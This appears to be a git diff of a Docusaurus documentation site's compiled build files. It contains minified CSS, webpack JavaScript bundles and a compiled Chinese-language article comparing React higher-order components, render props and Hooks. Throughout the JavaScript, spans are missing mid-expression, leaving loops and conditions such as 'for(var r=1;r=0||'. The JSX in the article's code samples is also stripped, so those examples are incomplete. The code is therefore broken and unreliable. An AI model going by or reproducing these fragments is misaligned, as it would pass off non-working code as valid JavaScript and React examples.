auto}.docusaurus-mt-lg{margin-top:3rem}.sidebarMenuIcon_fgN0{vertical-align:middle}.sidebarMenuCloseIcon_1lpH{align-items:center;display:inline-flex;font-size:1.5rem;font-weight:var(--ifm-font-weight-bold);height:24px;justify-content:center;line-height:.9;width:24px}.codeBlockContainer_K1bP{border-radius:var(--ifm-global-radius);box-shadow:var(--ifm-global-shadow-lw);margin-bottom:var(--ifm-leading);overflow:hidden}.codeBlockContent_hGly{direction:ltr;position:relative}.codeBlockTitle_eoMF{border-bottom:1px solid var(--ifm-color-emphasis-300);font-size:var(--ifm-code-font-size);font-weight:500;padding:.75rem var(--ifm-pre-padding)}.codeBlock_23N8{border-radius:0;margin:0;padding:0}.copyButton_Ue-o{background:rgba(0,0,0,.3);border-radius:var(--ifm-global-radius);color:var(--ifm-color-white);opacity:0;padding:.4rem .5rem;position:absolute;right:calc(var(--ifm-pre-padding)/2);top:calc(var(--ifm-pre-padding)/2);transition:opacity .2s ease-in-out;-webkit-user-select:none;-ms-user-select:none;user-select:none}.codeBlockLines_39YC{display:flex;flex-direction:column;float:left;font:inherit;min-width:100%;padding:var(--ifm-pre-padding)}.iconEdit_2_ui{margin-right:.3em;vertical-align:sub}.tag_1Okp{border:1px solid var(--docusaurus-tag-list-border);transition:border var(--ifm-transition-fast)}.tag_1Okp:hover{--docusaurus-tag-list-border:var(--ifm-link-color);text-decoration:none}.tagRegular_3MiF{border-radius:.5rem;font-size:90%;padding:.3rem .5rem}.tagWithCount_1HU1{align-items:center;border-left:0;display:flex;padding:0 .5rem 0 1rem;position:relative}.tagWithCount_1HU1:after,.tagWithCount_1HU1:before{border:1px solid var(--docusaurus-tag-list-border);content:"";position:absolute;top:50%;transition:inherit}.tagWithCount_1HU1:before{border-bottom:0;border-right:0;height:1.18rem;right:100%;transform:translate(50%,-50%) rotate(-45deg);width:1.18rem}.tagWithCount_1HU1:after{border-radius:50%;height:.5rem;left:0;transform:translateY(-50%);width:.5rem}.tagWithCount_1HU1 span{background:var(--ifm-color-secondary);border-radius:var(--ifm-global-radius);color:var(--ifm-color-black);font-size:.7rem;line-height:1.2;margin-left:.3rem;padding:.1rem .4rem}.tag_21yA{display:inline-block;margin:.5rem .5rem 0 1rem}.tags_2ga9{display:inline}.tag_11ep{display:inline-block;margin:0 .4rem .5rem 0}.lastUpdated_13-_{font-size:smaller;font-style:italic;margin-top:.2rem}.anchor{display:block;position:relative;top:-.5rem}.hash-link{opacity:0;padding-left:.5rem;transition:opacity var(--ifm-transition-fast)}.anchorWithStickyNavbar_31ik{scroll-margin-top:calc(var(--ifm-navbar-height) + .5rem)}.anchorWithHideOnScrollNavbar_3R7-{scroll-margin-top:.5rem}.details_1VDD{--docusaurus-details-decoration-color:var(--ifm-alert-border-color);--docusaurus-details-transition:transform var(--ifm-transition-fast) ease;border:1px solid var(--ifm-alert-border-color);margin:0 0 var(--ifm-spacing-vertical)}.backToTopButton_35hR{align-items:center;background:var(--docusaurus-btt-background);border-radius:50%;bottom:1.3rem;box-shadow:0 .125rem .3125rem 0 rgba(0,0,0,.3);color:var(--docusaurus-btt-color);display:flex;height:3rem;justify-content:center;opacity:0;position:fixed;right:1.3rem;transform:scale(0);transition:all var(--ifm-transition-fast) ease-in-out;width:3rem;z-index:var(--ifm-z-index-fixed)}.backToTopButtonShow_18ls{opacity:1;transform:scale(1)}.docMainContainer_3ufF,.docPage_31aa{display:flex;width:100%}.tableOfContents_35-E{max-height:calc(100vh - var(--ifm-navbar-height) - 2rem);overflow-y:auto;position:sticky;top:calc(var(--ifm-navbar-height) + 1rem)}.mdxPageWrapper_3qD3{justify-content:center}.tocCollapsible_1PrD{background-color:var(--ifm-menu-color-background-active);border-radius:var(--ifm-global-radius);margin:1rem 0}.tocCollapsibleButton_2O1e{align-items:center;display:flex;font-size:inherit;justify-content:space-between;padding:.4rem .8rem;width:100%}.tocCollapsibleButton_2O1e:after{background:var(--ifm-menu-link-sublist-icon) 50% 50%/2rem 2rem no-repeat;content:"";filter:var(--ifm-menu-link-sublist-icon-filter);height:1.25rem;transform:rotate(180deg);transition:transform var(--ifm-transition-fast);width:1.25rem}.tocCollapsibleContent_2Ydz>ul{border-left:none;border-top:1px solid var(--ifm-color-emphasis-300);font-size:15px;padding:.2rem 0}.tocCollapsibleContent_2Ydz ul li{margin:.4rem .8rem}.tocCollapsibleExpanded_3GYr .tocCollapsibleButton_2O1e:after{transform:none}@media (min-width:997px){.menuLinkText_1J2g{cursor:auto}.menuLinkText_1J2g:hover{background:none}.sidebar_15mo{display:flex;flex-direction:column;height:100%;max-height:100vh;padding-top:var(--ifm-navbar-height);position:sticky;top:0;transition:opacity 50ms;width:var(--doc-sidebar-width)}.sidebarWithHideableNavbar_267A{padding-top:0}.sidebarHidden_2kNb{height:0;opacity:0;overflow:hidden;visibility:hidden}.sidebarLogo_3h0W{align-items:center;color:inherit!important;display:flex!important;margin:0 var(--ifm-navbar-padding-horizontal);max-height:var(--ifm-navbar-height);min-height:var(--ifm-navbar-height);text-decoration:none!important}.sidebarLogo_3h0W img{height:2rem;margin-right:.5rem}.menu_Bmed{flex-grow:1;padding:.5rem}.menuWithAnnouncementBar_2WvA{margin-bottom:var(--docusaurus-announcement-bar-height)}.collapseSidebarButton_1CGd{background-color:var(--ifm-button-background-color);border:1px solid var(--ifm-toc-border-color);border-radius:0;bottom:0;display:block!important;height:40px;position:sticky}.collapseSidebarButtonIcon_3E-R{margin-top:4px;transform:rotate(180deg)}.expandSidebarButtonIcon_1naQ,html[dir=rtl] .collapseSidebarButtonIcon_3E-R{transform:rotate(0)}html[data-theme=dark] .collapseSidebarButton_1CGd,html[data-theme=dark] .collapsedDocSidebar_2JMH:focus,html[data-theme=dark] .collapsedDocSidebar_2JMH:hover{background-color:var(--collapse-button-bg-color-dark)}.collapsedDocSidebar_2JMH:focus,.collapsedDocSidebar_2JMH:hover,html[data-theme=dark] .collapseSidebarButton_1CGd:focus,html[data-theme=dark] .collapseSidebarButton_1CGd:hover{background-color:var(--ifm-color-emphasis-200)}.docMainContainer_3ufF{flex-grow:1;max-width:calc(100% - var(--doc-sidebar-width))}.docMainContainerEnhanced_3NYZ{max-width:calc(100% - var(--doc-sidebar-hidden-width))}.docSidebarContainer_3Kbt{border-right:1px solid var(--ifm-toc-border-color);-webkit-clip-path:inset(0);clip-path:inset(0);display:block;margin-top:calc(var(--ifm-navbar-height)*-1);transition:width var(--ifm-transition-fast) ease;width:var(--doc-sidebar-width);will-change:width}.docSidebarContainerHidden_3pA8{cursor:pointer;width:var(--doc-sidebar-hidden-width)}.collapsedDocSidebar_2JMH{align-items:center;display:flex;height:100%;justify-content:center;max-height:100vh;position:sticky;top:0;transition:background-color var(--ifm-transition-fast) ease}html[dir=rtl] .expandSidebarButtonIcon_1naQ{transform:rotate(180deg)}.docItemWrapperEnhanced_2vyJ{max-width:calc(var(--ifm-container-width) + var(--doc-sidebar-width))!important}}@media only screen and (min-width:997px){.lastUpdated_13-_{text-align:right}.docItemCol_3FnS{max-width:75%!important}.tocMobile_3Hoh{display:none}}@media screen and (min-width:1024px){:root{--docusaurus-announcement-bar-height:30px}}@media (min-width:1440px){.container{max-width:var(--ifm-container-width-xl)}}@media screen and (max-width:997px){.toggle_3Zt9{display:none}}@media (max-width:996px){.row .col.col.col{--ifm-col-width:100%;flex-basis:var(--ifm-col-width);margin-left:0;max-width:var(--ifm-col-width)}.footer{--ifm-footer-padding-horizontal:0}.footer__link-separator,.navbar__item{display:none}.footer__col{margin-bottom:calc(var(--ifm-spacing-vertical)*3)}.footer__link-item{display:block}.hero{padding-left:0;padding-right:0}.navbar>.container,.navbar>.container-fluid{padding:0}.navbar__toggle{display:inherit}.navbar__search-input{width:9rem}.pills--block,.tabs--block{flex-direction:column}.pills--block .pills__item:not(:first-child){margin-top:var(--ifm-pills-spacing)}.pills--block .pills__item:not(:last-child){margin-bottom:var(--ifm-pills-spacing)}.tabs--block .tabs__item:not(:first-child){margin-top:var(--ifm-tabs-spacing)}.tabs--block .tabs__item:not(:last-child){margin-bottom:var(--ifm-tabs-spacing)}}@media only screen and (max-width:996px){.tableOfContents_35-E{display:none}.docItemContainer_gpai{padding:0 .3rem}}@media screen and (max-width:576px){.announcementBarClose_38nx{width:35px}.announcementBarContent_3EUC{width:auto}.announcementBarCloseable_3myR{margin-right:35px}}@media (pointer:fine){.thin-scrollbar::-webkit-scrollbar{height:var(--ifm-scrollbar-size);width:var(--ifm-scrollbar-size)}.thin-scrollbar::-webkit-scrollbar-track{background:var(--ifm-scrollbar-track-background-color);border-radius:10px}.thin-scrollbar::-webkit-scrollbar-thumb{background:var(--ifm-scrollbar-thumb-background-color);border-radius:10px}.thin-scrollbar::-webkit-scrollbar-thumb:hover{background:var(--ifm-scrollbar-thumb-hover-background-color)}}@media print{.announcementBar_3WsW,.footer,.menu,.navbar,.pagination-nav,.table-of-contents{display:none}.tabs{page-break-inside:avoid}.codeBlockLines_39YC{white-space:pre-wrap}} \ No newline at end of file diff --git a/assets/js/0ba2ede9.9f8d4b14.js b/assets/js/0ba2ede9.9f8d4b14.js new file mode 100644 index 0000000..91c99bc --- /dev/null +++ b/assets/js/0ba2ede9.9f8d4b14.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[5722],{3905:function(e,r,n){n.d(r,{Zo:function(){return l},kt:function(){return b}});var t=n(7294);function o(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function i(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var t=Object.getOwnPropertySymbols(e);r&&(t=t.filter((function(r){return Object.getOwnPropertyDescriptor(e,r).enumerable}))),n.push.apply(n,t)}return n}function a(e){for(var r=1;r=0||(o[n]=e[n]);return o}(e,r);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(t=0;t=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var u=t.createContext({}),p=function(e){var r=t.useContext(u),n=r;return e&&(n="function"==typeof e?e(r):a(a({},r),e)),n},l=function(e){var r=p(e.components);return t.createElement(u.Provider,{value:r},e.children)},f={inlineCode:"code",wrapper:function(e){var r=e.children;return t.createElement(t.Fragment,{},r)}},s=t.forwardRef((function(e,r){var n=e.components,o=e.mdxType,i=e.originalType,u=e.parentName,l=c(e,["components","mdxType","originalType","parentName"]),s=p(n),b=o,m=s["".concat(u,".").concat(b)]||s[b]||f[b]||i;return n?t.createElement(m,a(a({ref:r},l),{},{components:n})):t.createElement(m,a({ref:r},l))}));function b(e,r){var n=arguments,o=r&&r.mdxType;if("string"==typeof e||o){var i=n.length,a=new Array(i);a[0]=s;var c={};for(var u in r)hasOwnProperty.call(r,u)&&(c[u]=r[u]);c.originalType=e,c.mdxType="string"==typeof e?e:o,a[1]=c;for(var p=2;p0&&(t=requestAnimationFrame(e),window.scrollTo(0,Math.floor(.85*a)))}(),function(){return t&&cancelAnimationFrame(t)})},cancelScrollToTop:function(){return null==e.current?void 0:e.current()}}}var Q=function(){var e,t=(0,U.TH)(),a=O(),r=a.smoothScrollTop,o=a.cancelScrollToTop,l=(0,n.useState)(!1),c=l[0],s=l[1];return(0,d.Z)((function(e,t){var a=e.scrollY;if(t){var n=a=t}));return a?function(e){return e.top>0&&e.bottom=0||(a[r]=e[r]);return a}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(a[r]=e[r])}return a}var c=n.createContext({}),i=function(e){var t=n.useContext(c),r=t;return e&&(r="function"==typeof e?e(t):u(u({},t),e)),r},l=function(e){var t=i(e.components);return n.createElement(c.Provider,{value:t},e.children)},m={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},d=n.forwardRef((function(e,t){var r=e.components,a=e.mdxType,o=e.originalType,c=e.parentName,l=p(e,["components","mdxType","originalType","parentName"]),d=i(r),s=a,h=d["".concat(c,".").concat(s)]||d[s]||m[s]||o;return r?n.createElement(h,u(u({ref:t},l),{},{components:r})):n.createElement(h,u({ref:t},l))}));function s(e,t){var r=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var o=r.length,u=new Array(o);u[0]=d;var p={};for(var c in t)hasOwnProperty.call(t,c)&&(p[c]=t[c]);p.originalType=e,p.mdxType="string"==typeof e?e:a,u[1]=p;for(var i=2;i=0||(o[t]=e[t]);return o}(e,r);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,t)&&(o[t]=e[t])}return o}var i=n.createContext({}),c=function(e){var r=n.useContext(i),t=r;return e&&(t="function"==typeof e?e(r):s(s({},r),e)),t},l=function(e){var r=c(e.components);return n.createElement(i.Provider,{value:r},e.children)},u={inlineCode:"code",wrapper:function(e){var r=e.children;return n.createElement(n.Fragment,{},r)}},d=n.forwardRef((function(e,r){var t=e.components,o=e.mdxType,a=e.originalType,i=e.parentName,l=p(e,["components","mdxType","originalType","parentName"]),d=c(t),k=o,m=d["".concat(i,".").concat(k)]||d[k]||u[k]||a;return t?n.createElement(m,s(s({ref:r},l),{},{components:t})):n.createElement(m,s({ref:r},l))}));function k(e,r){var t=arguments,o=r&&r.mdxType;if("string"==typeof e||o){var a=t.length,s=new Array(a);s[0]=d;var p={};for(var i in r)hasOwnProperty.call(r,i)&&(p[i]=r[i]);p.originalType=e,p.mdxType="string"==typeof e?e:o,s[1]=p;for(var c=2;c;\n }\n };\n}\n')),(0,a.kt)("h3",{id:"2-render-props"},"2. Render Props"),(0,a.kt)("p",null,"Render Props \u662f React \u4e2d\u590d\u7528\u4ee3\u7801\u7684\u7f16\u7a0b\u6a21\u5f0f\u3002\u4e3b\u8981\u89e3\u51b3\u7ec4\u4ef6\u903b\u8f91\u76f8\u540c\u800c\u6e32\u67d3\u89c4\u5219\u4e0d\u540c\u7684\u590d\u7528\u95ee\u9898\u3002\u5e38\u89c1\u4f8b\u5b50\uff1aReact Router \u4e2d\uff0c\u81ea\u5b9a\u4e49 render \u51fd\u6570\uff0c\u6309\u9700\u4f7f\u7528 routeProps \u6765\u6e32\u67d3\u4e1a\u52a1\u7ec4\u4ef6\u3002"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-js"},'ReactDOM.render(\n \n (\n
Customize HZFE\'s {routeProps.location.pathname}
\n )}\n />\n
,\n node\n);\n')),(0,a.kt)("h3",{id:"3-react-hooks"},"3. React Hooks"),(0,a.kt)("p",null,"React Hooks \u662f React 16.8 \u5f15\u5165\u7684\u4e00\u7ec4 API\u3002\u5f00\u53d1\u8005\u53ef\u4ee5\u5728\u4e0d\u4f7f\u7528 class \u5199\u6cd5\u7684\u60c5\u51b5\u4e0b\uff0c\u501f\u52a9 Hooks \u5728\u7eaf\u51fd\u6570\u7ec4\u4ef6\u4e2d\u4f7f\u7528\u72b6\u6001\u548c\u5176\u4ed6 React \u529f\u80fd\u3002"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-js"},"function Example() {\n const [count, setCount] = useState(0);\n\n return (\n
\n

You clicked {count} times

\n \n
\n );\n}\n")),(0,a.kt)("h3",{id:"4-hoc-vs-render-props-vs-hooks"},"4. HOC vs Render Props vs Hooks"),(0,a.kt)("h4",{id:"\u75db\u70b9"},"\u75db\u70b9"),(0,a.kt)("p",null,"\u5728\u5b9e\u9645\u4e1a\u52a1\u5feb\u901f\u8fed\u4ee3\u8fc7\u7a0b\u4e2d\uff0c\u7ec4\u4ef6\u5e38\u51fa\u73b0\u5927\u91cf\u91cd\u590d\u6027\u5de5\u4f5c\uff0c\u5c11\u91cf\u4e2a\u6027\u5316\u5b9a\u5236\u7684\u9700\u6c42\uff0c\u5982\u679c\u4e0d\u9075\u5faa DRY\uff08Don't Repeat Yourself\uff09\u7684\u89c4\u5219\uff0c\u4f1a\u9020\u6210\u9879\u76ee\u81c3\u80bf\u548c\u96be\u4ee5\u7ef4\u62a4\u7684\u95ee\u9898\u3002\u4f46\u5728\u8bb8\u591a\u60c5\u51b5\u4e0b\uff0c\u65e0\u6cd5\u5bf9\u542b\u6709\u72b6\u6001\u903b\u8f91\u7684\u7ec4\u4ef6\u8fdb\u4e00\u6b65\u62c6\u5206\u3002\u56e0\u6b64\u5728\u6ca1\u6709 React Hooks \u524d\uff0c\u5b58\u5728\u4f7f\u7528 HOC / Render Props \u8fdb\u884c\u91cd\u6784\u7684\u65b9\u6848\u3002"),(0,a.kt)("h4",{id:"\u65b9\u6848\u4f18\u52a3"},"\u65b9\u6848\u4f18\u52a3"),(0,a.kt)("p",null,"\u4e3a\u8f85\u52a9\u7406\u89e3\uff0c\u53ef\u53c2\u8003\u4ee5\u4e0b\u56fe\u7247\u3002\u56fe\u4e2d\u6240\u793a\u4e3a\u4e0b\u62c9\u5217\u8868\u529f\u80fd\u7684\u4e09\u79cd\u4e0d\u540c\u5b9e\u73b0\uff0c\u76f8\u6bd4\u4e8e\u4f7f\u7528\u4e00\u4e2a Class \u6765\u4e66\u5199\u4e0b\u62c9\u5217\u8868\u7684\u6240\u6709\u529f\u80fd\uff0c\u8fd9\u4e09\u79cd\u65b9\u6848\u90fd\u5bf9\u7ec4\u4ef6\u8fdb\u884c\u4e86\u529f\u80fd\u62c6\u89e3\uff0c\u63d0\u9ad8\u4e86\u4ee3\u7801\u7684\u590d\u7528\u6027\u3002\n\uff08",(0,a.kt)("a",{parentName:"p",href:"https://medium.com/simply/comparison-hocs-vs-render-props-vs-hooks-55f9ffcd5dc6"},"\u4ee3\u7801\u6765\u6e90"),"\uff09"),(0,a.kt)("p",null,(0,a.kt)("img",{parentName:"p",src:"https://user-images.githubusercontent.com/17002181/125330248-194da900-e379-11eb-8bab-4fdcec795fb1.png",alt:"image"})),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("p",{parentName:"li"},(0,a.kt)("strong",{parentName:"p"},"\u590d\u7528\u6027")),(0,a.kt)("p",{parentName:"li"},"HOC\u3001Render Props\u3001Hooks \u90fd\u6709\u63d0\u9ad8\u4ee3\u7801\u590d\u7528\u6027\u7684\u80fd\u529b\uff0c\u4f46\u6839\u636e\u5176\u8bbe\u8ba1\u6a21\u5f0f\u4e0a\u7684\u5dee\u522b\uff0c\u9002\u7528\u8303\u56f4\u4e5f\u4f1a\u6709\u6240\u5dee\u5f02\uff1aHOC \u57fa\u4e8e\u5355\u4e00\u529f\u80fd\u539f\u5219\uff0c\u5bf9\u4f20\u5165\u7ec4\u4ef6\u8fdb\u884c\u589e\u5f3a\uff1bRender Props \u590d\u7528\u6570\u636e\u6e90\uff0c\u6309\u9700\u6e32\u67d3 UI\uff1bHooks \u5bf9\u4e8e\u4e0d\u540c\u573a\u666f\u7684\u590d\u7528\u90fd\u6709\u8f83\u597d\u7684\u666e\u9002\u6027\u3002")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("p",{parentName:"li"},(0,a.kt)("strong",{parentName:"p"},"\u53ef\u8bfb\u6027 / \u6613\u7528\u6027")),(0,a.kt)("p",{parentName:"li"},(0,a.kt)("strong",{parentName:"p"},"HOC \u53ef\u8bfb\u6027\u5dee\uff0c\u6613\u7528\u6027\u5dee\u3002")),(0,a.kt)("p",{parentName:"li"},"HOC \u5199\u6cd5\u770b\u4f3c\u7b80\u6d01\uff0c\u4f46\u5f00\u53d1\u8005\u65e0\u6cd5\u901a\u8fc7\u9605\u8bfb HOC \u7684\u8c03\u7528\u8fa8\u522b\u51fa\u65b9\u6cd5\u7684\u4f5c\u7528\uff1a\u770b\u4e0d\u5230\u63a5\u6536\u548c\u8fd4\u56de\u7684\u7ed3\u6784\uff0c\u589e\u52a0\u8c03\u8bd5\u548c\u4fee\u590d\u95ee\u9898\u7684\u6210\u672c\uff1b\u8fdb\u884c\u591a\u4e2a HOC \u7ec4\u5408\u4f7f\u7528\u65f6\uff0c\u4e0d\u80fd\u786e\u5b9a\u4f7f\u7528\u987a\u5e8f\u4e14\u6709\u547d\u540d\u7a7a\u95f4\u51b2\u7a81\u98ce\u9669\uff0c\u9700\u8981\u4e86\u89e3\u6bcf\u4e2a HOC \u7684\u5177\u4f53\u5b9e\u73b0\uff0c\u96be\u4ee5\u7ef4\u62a4\u3002\u4e0d\u5efa\u8bae\u8fc7\u5ea6\u4f7f\u7528 HOC\uff0c\u4f46\u6bd4\u8f83\u9002\u5408\u4e0d\u9700\u8981\u4e2a\u6027\u5316\u5f00\u53d1\u5b9a\u5236\u65f6\u4f7f\u7528\uff1a\u5e38\u89c1\u4e8e\u7b2c\u4e09\u65b9\u5e93\u63d0\u4f9b HOC \u7c7b\u578b\u7684 API \u7ed9\u5f00\u53d1\u8005\u8fdb\u884c\u529f\u80fd\u589e\u5f3a\u3002"),(0,a.kt)("p",{parentName:"li"},(0,a.kt)("strong",{parentName:"p"},"Render Props \u53ef\u8bfb\u6027\u8f83\u597d\uff0c\u6613\u7528\u6027\u5f3a\u3002")),(0,a.kt)("p",{parentName:"li"},"\u4ee3\u7801\u76f8\u5bf9\u5197\u957f\uff0c\u4f46\u80fd\u6e05\u6670\u770b\u5230\u7ec4\u4ef6\u63a5\u6536\u7684 props \u4ee5\u53ca\u4f20\u9012\u7684\u529f\u80fd\u7b49\uff0c\u53ef\u4ee5\u5bf9 props \u5c5e\u6027\u91cd\u547d\u540d\uff0c\u4e0d\u4f1a\u6709\u547d\u540d\u51b2\u7a81\u3002\u4f46\u96be\u4ee5\u5728 render \u51fd\u6570\u5916\u4f7f\u7528\u6570\u636e\u6e90\uff0c\u4e14\u5bb9\u6613\u5f62\u6210\u5d4c\u5957\u5730\u72f1\u3002"),(0,a.kt)("p",{parentName:"li"},(0,a.kt)("strong",{parentName:"p"},"Hooks \u53ef\u8bfb\u6027\u5f3a\uff0c\u6613\u7528\u6027\u8f83\u597d\u3002")),(0,a.kt)("p",{parentName:"li"},"\u4f7f\u7528 Hooks \u65f6\uff0c\u80fd\u6e05\u6670\u770b\u5230\u7ec4\u4ef6\u63a5\u6536\u7684 props \u4ee5\u53ca\u4f20\u9012\u7684\u529f\u80fd\u7b49\uff0c\u53ef\u4ee5\u5bf9 props \u5c5e\u6027\u91cd\u547d\u540d\uff0c\u4e0d\u4f1a\u6709\u547d\u540d\u51b2\u7a81\uff0c\u4e0d\u5b58\u5728\u5d4c\u5957\u5730\u72f1\uff0c\u4e14\u6ca1\u6709\u6570\u636e\u6e90\u83b7\u53d6\u53ca\u4f7f\u7528\u8303\u56f4\u7684\u9650\u5236\u3002\u4f46 Hooks \u7f16\u7a0b\u5e94\u9075\u5faa\u51fd\u6570\u5f0f\u7f16\u7a0b\u7684\u5b9e\u8df5\uff0c\u5426\u5219 Hooks \u6240\u9700\u7684\u4f9d\u8d56\u6570\u7ec4\u7684\u5904\u7406\u4f1a\u9020\u6210\u8f83\u5927\u7684\u5fc3\u667a\u8d1f\u62c5\u3002"))),(0,a.kt)("h2",{id:"\u53c2\u8003\u8d44\u6599"},"\u53c2\u8003\u8d44\u6599"),(0,a.kt)("ol",null,(0,a.kt)("li",{parentName:"ol"},(0,a.kt)("a",{parentName:"li",href:"https://reactjs.org/docs/hooks-intro.html"},"Introducing Hooks")),(0,a.kt)("li",{parentName:"ol"},(0,a.kt)("a",{parentName:"li",href:"https://medium.com/simply/comparison-hocs-vs-render-props-vs-hooks-55f9ffcd5dc6"},"Comparison: HOCs vs Render Props vs Hooks"))))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/261.c22d609a.js b/assets/js/261.c22d609a.js new file mode 100644 index 0000000..d23cd68 --- /dev/null +++ b/assets/js/261.c22d609a.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[261],{1875:function(e,t){t.Z=function(){return null}},8617:function(e,t,n){n.d(t,{Z:function(){return l}});var a=n(7294),r="iconExternalLink_3J9K",l=function(e){var t=e.width,n=void 0===t?13.5:t,l=e.height,o=void 0===l?13.5:l;return a.createElement("svg",{width:n,height:o,"aria-hidden":"true",viewBox:"0 0 24 24",className:r},a.createElement("path",{fill:"currentColor",d:"M21 13v10h-21v-19h12v2h-10v15h17v-8h2zm3-12h-10.988l4.035 4-6.977 7.07 2.828 2.828 6.977-7.07 4.125 4.172v-11z"}))}},261:function(e,t,n){n.d(t,{Z:function(){return ke}});var a=n(7294),r=n(6010),l=n(5977),o=n(4973),c=n(1773),i="skipToContent_1oUP";function s(e){e.setAttribute("tabindex","-1"),e.focus(),e.removeAttribute("tabindex")}var u=function(){var e=(0,a.useRef)(null),t=(0,l.k6)().action;return(0,c.SL)((function(n){var a=n.location;e.current&&!a.hash&&"PUSH"===t&&s(e.current)})),a.createElement("div",{ref:e},a.createElement("a",{href:"#",className:i,onClick:function(e){e.preventDefault();var t=document.querySelector("main:first-of-type")||document.querySelector(".main-wrapper");t&&s(t)}},a.createElement(o.Z,{id:"theme.common.skipToMainContent",description:"The skip to content label used for accessibility, allowing to rapidly navigate to main content with keyboard tab/enter navigation"},"Skip to main content")))},m="announcementBar_3WsW",d="announcementBarClose_38nx",f="announcementBarContent_3EUC",v="announcementBarCloseable_3myR";var h=function(){var e,t=(0,c.nT)(),n=t.isClosed,l=t.close,i=(0,c.LU)().announcementBar;if(!i)return null;var s=i.content,u=i.backgroundColor,h=i.textColor,b=i.isCloseable;return!s||b&&n?null:a.createElement("div",{className:m,style:{backgroundColor:u,color:h},role:"banner"},a.createElement("div",{className:(0,r.Z)(f,(e={},e[v]=b,e)),dangerouslySetInnerHTML:{__html:s}}),b?a.createElement("button",{type:"button",className:(0,r.Z)(d,"clean-btn"),onClick:l,"aria-label":(0,o.I)({id:"theme.AnnouncementBar.closeButtonAriaLabel",message:"Close",description:"The ARIA label for close button of announcement bar"})},a.createElement("span",{"aria-hidden":"true"},"\xd7")):null)},b=n(7462),g=n(1875),E=n(2389),p={toggle:"toggle_71bT"},Z=function(e){var t=e.icon,n=e.style;return a.createElement("span",{className:(0,r.Z)(p.toggle,p.dark),style:n},t)},k=function(e){var t=e.icon,n=e.style;return a.createElement("span",{className:(0,r.Z)(p.toggle,p.light),style:n},t)},_=(0,a.memo)((function(e){var t=e.className,n=e.icons,l=e.checked,o=e.disabled,c=e.onChange,i=(0,a.useState)(l),s=i[0],u=i[1],m=(0,a.useState)(!1),d=m[0],f=m[1],v=(0,a.useRef)(null);return a.createElement("div",{className:(0,r.Z)("react-toggle",t,{"react-toggle--checked":s,"react-toggle--focus":d,"react-toggle--disabled":o})},a.createElement("div",{className:"react-toggle-track",role:"button",tabIndex:-1,onClick:function(){var e;return null==(e=v.current)?void 0:e.click()}},a.createElement("div",{className:"react-toggle-track-check"},n.checked),a.createElement("div",{className:"react-toggle-track-x"},n.unchecked),a.createElement("div",{className:"react-toggle-thumb"})),a.createElement("input",{ref:v,checked:s,type:"checkbox",className:"react-toggle-screenreader-only","aria-label":"Switch between dark and light mode",onChange:c,onClick:function(){return u(!s)},onFocus:function(){return f(!0)},onBlur:function(){return f(!1)},onKeyDown:function(e){var t;"Enter"===e.key&&(null==(t=v.current)||t.click())}}))}));function w(e){var t=(0,c.LU)().colorMode.switchConfig,n=t.darkIcon,r=t.darkIconStyle,l=t.lightIcon,o=t.lightIconStyle,i=(0,E.Z)();return a.createElement(_,(0,b.Z)({disabled:!i,icons:{checked:a.createElement(Z,{icon:n,style:r}),unchecked:a.createElement(k,{icon:l,style:o})}},e))}var N=n(5350),y=n(7898),C=function(e){var t=(0,l.TH)(),n=(0,a.useState)(e),r=n[0],o=n[1],i=(0,a.useRef)(!1),s=(0,a.useState)(0),u=s[0],m=s[1],d=(0,a.useCallback)((function(e){null!==e&&m(e.getBoundingClientRect().height)}),[]);return(0,y.Z)((function(t,n){var a=t.scrollY,r=null==n?void 0:n.scrollY;if(e)if(a=r?o(!1):a+c0&&a.createElement("button",{type:"button",className:"clean-btn navbar-sidebar__back",onClick:s.hide},a.createElement(o.Z,{id:"theme.navbar.mobileSidebarSecondaryMenu.backButtonLabel",description:"The label of the back button to return to main menu, inside the mobile navbar sidebar secondary menu (notably used to display the docs sidebar)"},"\u2190 Back to main menu")),s.content)))}var z=function(){var e,t,n,l,o,i,s,u=(0,c.LU)().navbar,m=u.hideOnScroll,d=u.style,f=(t=(0,L.Z)(),n="mobile"===t,l=(0,a.useState)(!1),o=l[0],i=l[1],s=(0,a.useCallback)((function(){i((function(e){return!e}))}),[]),(0,a.useEffect)((function(){"desktop"===t&&i(!1)}),[t]),{shouldRender:n,toggle:s,shown:o}),v=V(),h=(0,D.gA)(),E=C(m),p=E.navbarRef,Z=E.isNavbarVisible,k=H(),_=k.some((function(e){return"search"===e.type})),N=function(e){return{leftItems:e.filter((function(e){var t;return"left"===(null!=(t=e.position)?t:P)})),rightItems:e.filter((function(e){var t;return"right"===(null!=(t=e.position)?t:P)}))}}(k),y=N.leftItems,I=N.rightItems;return a.createElement("nav",{ref:p,className:(0,r.Z)("navbar","navbar--fixed-top",(e={"navbar--dark":"dark"===d,"navbar--primary":"primary"===d,"navbar-sidebar--show":f.shown},e[M]=m,e[R]=m&&!Z,e))},a.createElement("div",{className:"navbar__inner"},a.createElement("div",{className:"navbar__items"},((null==k?void 0:k.length)>0||h)&&a.createElement("button",{"aria-label":"Navigation bar toggle",className:"navbar__toggle clean-btn",type:"button",tabIndex:0,onClick:f.toggle,onKeyDown:f.toggle},a.createElement(A,null)),a.createElement(S.Z,{className:"navbar__brand",imageClassName:"navbar__logo",titleClassName:"navbar__title"}),y.map((function(e,t){return 